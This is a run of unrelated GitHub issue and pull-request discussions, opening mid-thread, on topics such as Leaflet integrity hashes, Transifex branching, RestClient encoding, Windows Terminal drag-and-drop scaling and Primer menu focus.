So instead of konsole -e ./MinEdLauncher %command% /autorun /autoquit /edo, use ./MinEdLauncher %command% /autorun /autoquit /edo.

@dvdmuckle Just tested, same behaviour


Generate integrity hashes during build

Problem: Leaflet can be subject of a script injection attack on the CDNs (see https://github.com/Leaflet/Leaflet/issues/5457 ). And, as https://github.com/Leaflet/Leaflet/issues/5460 points out, some users can be very security-conscious.
Solution: Calculate subresource integrity hashes during the build process, and put those in the download page of the website.
e.g. instead of
<script<EMAIL_ADDRESS>
tell users to use something like
<script<EMAIL_ADDRESS>integrity="sha384-abcdefghijklmnopq"></script>

The MDN page on integrity hashes has some recipes to calculate the hashes on a CLI.

[ ] Calculate integrity hashes on a build and output them
[ ] Make the release script modify docs/_config.yml to overwrite the value of the latest release, and the latest integrity hash
[ ] Modify docs/download.md to put the integrity hash somewhere

Ideally hashes should be provided for the uglified and non-uglified flavours of leaflet.js and leaflet-src.js; hopefully this won't add much more noise to the download webpage.

Of course this could all be rendered moot because https://github.com/Leaflet/Leaflet/issues/3748 and https://github.com/isaacs/github/issues/156, but still would be better than nothing.

HTTPS doesn't fix issues if your CDN gets hacked, and the file on the CDN replaced.
I'd like to see this now that it has been mentioned :+1:

I'm also :+1:, great idea.


Disable some sensors by default

Sensors not useful for most people should be disabled by default:

internal_vehicle_id
factory_complete
registration_date
api_status_code_auth
api_status_code_data
api_token_expires_at

As a pending owner, who has ordered, not received the vehicle, but has the VIN, factory_complete is one of the few fields that is available with data before I receive the vehicle, so is very useful!
Perhaps add it late when creating so it sorts to the bottom of list, but disable?

As a pending owner, who has ordered, not received the vehicle, but has the VIN, factory_complete is one of the few fields that is available with data before I receive the vehicle, so is very useful!

Perhaps the factory completion date should be an attribute of the VIN and the registration date an attribute of the registration number? They never change, but are still valuable.

My plan is to to merge this PR as is, and mention in the next release notes that factory_complete and registration_date will be removed as sensors in the release after the next.


[SIL] Keep alive @_alwaysEmitIntoClient decls with opaque result types

If such declarations have availability conditions they have to be
kept alive until IRGen to emit opaque type descriptor that is going
be used at runtime to determine the underlying type.
This is important for "optimized" mode only because in non-optimized
mode "shared" symbol survives SILGen.

@swift-ci please test

Yes, that is correct!


Make shadows have buttons on pre-L devices.

See #842
Before

After

Oh, just saw https://github.com/firebase/FirebaseUI-Android/issues/842#issuecomment-319514930. So yeah, awesome! 😄

@samtstern ooooooooooh, actually I think we can add some gradients! This StackOverflow post is for rounded corners but I think the same technique could apply. What do you think? 😀

@SUPERCILEX nice, I will try something like that.

@SUPERCILEX played with it for a little bit, none of the gradient types offered in XML drawables are suited for this.  Linear gradients band out from the center, and the radial and sweep gradients just don't offer enough configuration to look good on a big rectangle.

@samtstern oh well, we tried. 😀


feat(chat): add visualizer connector(Issue #1270)

Description:
Visualizer connector lib to connect custom visualizer for the custom content type
Issues:

Issue #1270

Checklist:

[x] the pull request name complies with Conventional Commits
[x] the pull request name starts with fix(<scope>):, feat(<scope>):, feature(<scope>):, chore(<scope>):, hotfix(<scope>): or e2e(<scope>):. If contains breaking changes then the pull request name must start with fix(<scope>)!:, feat(<scope>)!:, feature(<scope>)!:, chore(<scope>)!:, hotfix(<scope>)!: or e2e(<scope>)!: where <scope> is name of affected project: chat, chat-e2e, overlay, shared, sandbox-overlay, etc.
[x] the pull request name ends with (Issue #<TICKET_ID>) (comma-separated list of issues)
[x] I confirm that do not share any confidential information like API keys or any other secrets and private URLs

/deploy-review

/deploy-review

/deploy-review

/deploy-review

Documented in user guide


Support special 'Transifex' branch

Have a special git branch for interacting with Transifex*
We could merge everything to a 'transifex' branch and wait for translations before merging that to the release branch but this causes a delay and introduces coordination difficulties (what if some of the pieces are ready to go but others aren't? what if we need to roll back a piece?).

I use a transifex branch for my project. Since it is open source, I gave Transifex the URL of the resource on GitHub to update automatically. It points to the transifex branch:
https://raw.githubusercontent.com/openfoodfoundation/openfoodnetwork/transifex/config/locales/en.yml

I did not set up the GitHub hook to trigger txgh. I just set up the Transifex hook to commit to the transifex branch.
txgh:
    github:
        repos:
            openfoodfoundation/openfoodnetwork:
                api_username: "***"
                api_token: "***"
                branch: "transifex"
    transifex:
        projects:
            open-food-network:
                tx_config: "config/tx.config"
                api_username: "***"
                api_password: "***"
                push_translations_to: "openfoodfoundation/openfoodnetwork"

We merge the latest translations into our master branch and update the transifex branch whenever we release a new version or start a 'string freeze'. This way the translators have time to translate a release while the developers keep playing with the master branch.
I guess you can't avoid a translation delay unless you let people translate experimental versions that change all the time. That could be a lot of wasted translator time.

Excellent!  Thanks for the feedback @mkllnk
We are still experimenting ourselves.  One thought we had is that if you use feature branches (aka Gitflow) you could start translations once each feature gets completed.  This potentially allows you to start translating earlier and avoid a big 'string freeze' late in the dev cycle (freezes feel so un-agile).


Set encoding of the response string, if specified by server.

The encoding of the response string is always reported as 'ASCII-8BIT',
even when the underlying byte sequence is valid UTF-8 and the server
advertises it as UTF-8 in the Content-Type header.
With this commit, the Content-Type header in the server response is
checked for a charset defintion and the response string encoding set
accordingly.  If there is a mismatch between the advertised and the
actual encoding, the response encoding is left as 'ASCII-8BIT'.
The following irb session illustrates the problem:
irb(main):001:0> require 'restclient'
=> true
irb(main):002:0> response = RestClient.get 'http://www.goldenerunkelruebe.de'; response.code
=> 200
irb(main):003:0> response.encoding
=> #<Encoding:ASCII-8BIT>
irb(main):004:0> response.headers[:content_type]
=> "text/html; charset=UTF-8"

@chrismo did some additional research into how other gems do this here: https://github.com/lostisland/faraday/issues/139
For reference:
EM-HTTP-Request https://github.com/igrigorik/em-http-request/commit/65dc4f5dbdc747469b9540b0d6a3357491727b0b
Patron https://github.com/toland/patron/commit/2ddc3b8315b0d2382ee12d51a2af5ac6695379d5
HTTPClient https://github.com/nahi/httpclient/commit/e5efea5afb3b5cf6ead3a131644dee71be1ee5e9

Thanks @jure for those references.
And thanks very much @dhamidi. Ended up adapting this somewhat for use. It should go out in the 2.0 release.

:+1:


Drag and drop files does not work in right/bottom areas with >100% DPI scaling

Environment
Windows build number: 10.0.18363.0
Windows Terminal version (if applicable): 0.9.433.0

Any other software?: No

Steps to reproduce

In Windows display settings, select 150% DPI scaling;
Drag a file to the terminal, at the bottom or right inside the window.

Expected behavior

Tooltip shows "copy path to file". The file path is inputed.
Actual behavior

Nothing. Tooltip shows "🚫". This screenshot was made with a CI build right after  drag/drop was implemented, but the same behavior happens in today's release.
On my system with 150% DPI scaling, the size of the acceptable area seems to be 1/(150%) of the window (similar to #2606). Also, some bottom area in the tabs is (incorrectly) acceptable to drops, and the height seems to be also 1/(150%) of the tab bar. Therefore I suspect some code is checking the acceptable area but is missing a DPI/96 factor.

This looks suspiciously like #2606... It looks like they both deal with xaml control hit-testing zones! So alike they are that I'm going to call this one a /dupe of #2606. :smile:
Thanks for the report!


Connecting with API_SSL do not work with RouterOS Stable 6.45.5 version

SSL Handshake Exception

solved. my mistake.


Travis failing even after package registered

It was failing prior but I hoped it was because it couldn't find the package as a result of it not being registered. All tests are passing locally.
Timestamp construction
     - fields are constructed
  Error   :: (line:-1) :: fields are constructed
    Timestamp(Date(2000,1,1),12).timestamp => Date(2000,1,1)
Timestamp not defined

I only quickly glanced at the tests, but I don't ever see a using Timestamps

Thanks for the second pair of eyes! :eyes:
Incidentally, I tricked myself by copying the runtests.jl which doesn't have a using Timeseries but does have a using MarketData that brings in the TimeSeries package.

Yay, passing for v0.4 but (sad face) not for v0.3 because of reference to Nullable
Closing this and will keep troubleshooting for v0.3.

Compat.jl now had Nullable AFAIK.

I was hoping to avoid that machinery since the only reference to Nullable is in the show method.
I tried a test for VERSION but it didn't work for some reason. The other easy solution is to comment out the show method and make it v0.3 compatible.


Decide which Suffolk dataset to use for version 2 analysis

Clarification between merged_x files in the processed folder vs cleaned_x files in the cleaned folder from Laura:
The merged_X files take the data from the 3 DA offices, and merge with the expungeability information we had. These have been minimally processed/cleaned -- we did things like stripping out non-alphanumeric characters, and created new variables (such as splitting out chapter/section/description into 3 columns from 1 original, or creating an indicator for whether the offense relates to CMR or not). They don't make judgement calls -- no corrections for impossible ages (<0) or implausible ages (<10), or whether to drop rows that are missing one of the key dates, how to code up "guilty", etc.
Those judgement calls are instead made in the analysis files -- things like the notebook  How many expungable Middlesex
Those judgement calls are also made in the Clean_datasets_for_visualizations notebook, which is what generates the clean_X data files. These clean_X files were created specifically to be an easier source for the 'visualizers' that Joel made, or for quicker sources for new analysis. The "How many expungeable" series should make most (??) of the same judgement calls as the "Clean datasets for visualizations" notebook, but I'm not entirely sure. They built on each other, and it looks like there hasn't been much updated in a while.
This issue of clean vs processed was an ongoing one -- when I was working on the project we'd inherited some definitions and folders and files, but they hadn't really been adhered to even at that point. And the issue of where to make these 'judgement calls' and then what to call the resulting dataset was never really resolved. I think the bigger issue was getting a smooth process from the "raw" files we got from the DAs into anything that could be used for analysis.
Anyways. You would most likely be safe using the clean_X files. You'd want to check that you still agree with all the assumptions made or variable definitions (particularly 'guilty', and maybe whether an incident is expunge-able or not, for example). To force yourself to check those things, you would start with the merged_X files and build from there.
I think the decision is mainly whether you want to do something ASAP (in which case, clean_X is probably good enough), or try to detangle the data pipeline first, or want to just build off of the existing "How many expungeable" notebooks, which use the merged_X as the key input file.

I'm not sure this document is finished, @seraph776 . Do you feel differently? Otherwise, if you no longer want to be assigned to this issue, you can remove yourself from it as opposed to closing it.


adding new anomaly function - MinMaxThreshold

Added new Anomaly Function MinMaxThreshold
Added custom metric function (SUM/AVG/COUNT) into AnomalyFunctionSpec
Added feedback support in AnomalyResult object

LGTM. After fixing comments and updating the pull request, go ahead and merge.


Add support for microsoft openjdk 21.0.0

Description:
Extend the microsoft-openjdk-versions.json with version 21.0.0
Justification:
Stable version 21.0.0 is available, and the microsoft-openjdk-versions.json has to be maintained in order to use that version.
Are you willing to submit a PR?
yep

Hello @ralfstuckert
Thank you for the feature request. We will take a look and come back to you with further steps. 🙂

Hi, @ralfstuckert 👋 The new major version of the action is released and it contains the requested changes.
I'm closing this issue, if you have any additional questions feel free to reach out.


Support IDL-defined message schemas

IDL is the "base" message schema format for ROS2, and it's possible that a user may produce an IDL schema for a message without first defining a .msg schema first.
I think the best approach for this would be to define a function that translates an IDL schema into a RosMsgField[], extending the set of supported types in RosMsgField as necessary.
There is already a lark grammar for parsing the ROS2 subset of IDL available here, which is nice because it gives us a clear subset of the full IDL spec to support.

@jhurliman is this still something that should be assigned to you for this quarter?

No, I don't know why I ever assigned this to myself.

Closing since this was migrated to a private ticket (FG-751).
Public feature request is tracked at https://github.com/foxglove/community/discussions/473


Tentative focus fix in action list item

Closes https://github.com/github/accessibility-audits/issues/4641
Bug description
The bug specifically occurs in one case where the action menu does not have a visible anchor and is programmatically opened through a keyboard shortcut combination. Specifically in the code viewer, on hitting the SHIFT + CTRL + C combination, you can see the actionmenu emerge at the cursor position. This action menu can also be accessed at the line level through an anchor thats only visible on focus.
The actual bug is that the focus does not shift from the cursor position into the action menu's first item as expected.
This bug has been especially challenging because it is hard to reproduce in it's entireity. One can fiddle around with tab button and fix the focus params such that the bug becomes nonexistent. Also I was not successful in creating a minimum reproduction of the issue in a storybook. https://github.com/primer/react/pull/4025 . Any advise on fixing this is welcome.
Root cause analysis
The current theory is that as per the spec on focus-visible https://drafts.csswg.org/selectors/#indicate-focus , these lines tell us what could the problem be.

"If the previously-focused element indicated focus, and a script causes focus to move elsewhere, indicate focus on the newly focused element.
Conversely, if the previously-focused element did not indicate focus, and a script causes focus to move elsewhere, don’t indicate focus on the newly focused element."

So if the focus shifts programmatically then the spec does not require to apply the focus-visible pseudo class.
Proposed fix
After much deliberation, I think our best chance is to fix the issue to our best of knowledge and see if it fixes the actual issue.
We will make sure that the first item in action menu always receives focus when it opens by more robust css. This should be the right solution.
Rollout strategy

[x] Patch release
[ ] Minor release
[ ] Major release; if selected, include a written rollout or migration plan
[ ] None; if selected, include a brief description as to why

Merge checklist

[ ] Added/updated tests
[ ] Added/updated documentation
[x] Added/updated previews (Storybook)
[ ] Changes are SSR compatible
[x] Tested in Chrome
[x] Tested in Firefox
[x] Tested in Safari
[ ] Tested in Edge
[ ] (GitHub staff only) Integration tests pass at github/github (Learn more about how to run integration tests)

@pksjce was trying to re-create this issue again on dotcom and am having trouble getting the shortcut to trigger the menu 🤔 I just get the screen jumping all the way to the bottom. Was curious if others are observing the same or if it was just me.

@joshblack, yup I'm getting the same behavior. I've asked this in one of the slack channels to see if this functionality was removed or not.

Hi @TylerJDev @joshblack , I see that they seemed to have fixed this. Though I'm still having some challenges getting it working. I'm trying to get a review lab out so we can test the fix

@pksjce, @joshblack, I'm now able to open the menu in code view. Let me know if you need an additional look within the review lab too!

@TylerJDev is this an implementation behavior of Safari where it does not show focus if the menu is opened with a click and then keyboard is used? The list items clearly have focus, and :focus-visible styling works in Safari, but it does not seem to be triggered in this case 🤔
The fix above totally works because the focus-visible polyfill adds the appropriate classes/attributes so the styling kicks in but was wondering if this was a behavior that Safari has implemented or is something else at play.


[pom] Update project build output timestamp for reproducible builds

update is only to add a comment, the date would have updated naturally but it is more current.  will be doing a number of these for clarity while adding missing ones.  Only commenting once on this.

Coverage remained the same at 87.297% when pulling 59901d451fb12fc6f966eff94a5ec8438fb19dd8 on hazendaz:master into 4b8f4550d130f43f4bbd02529bc4e8d83e3c556a on mybatis:master.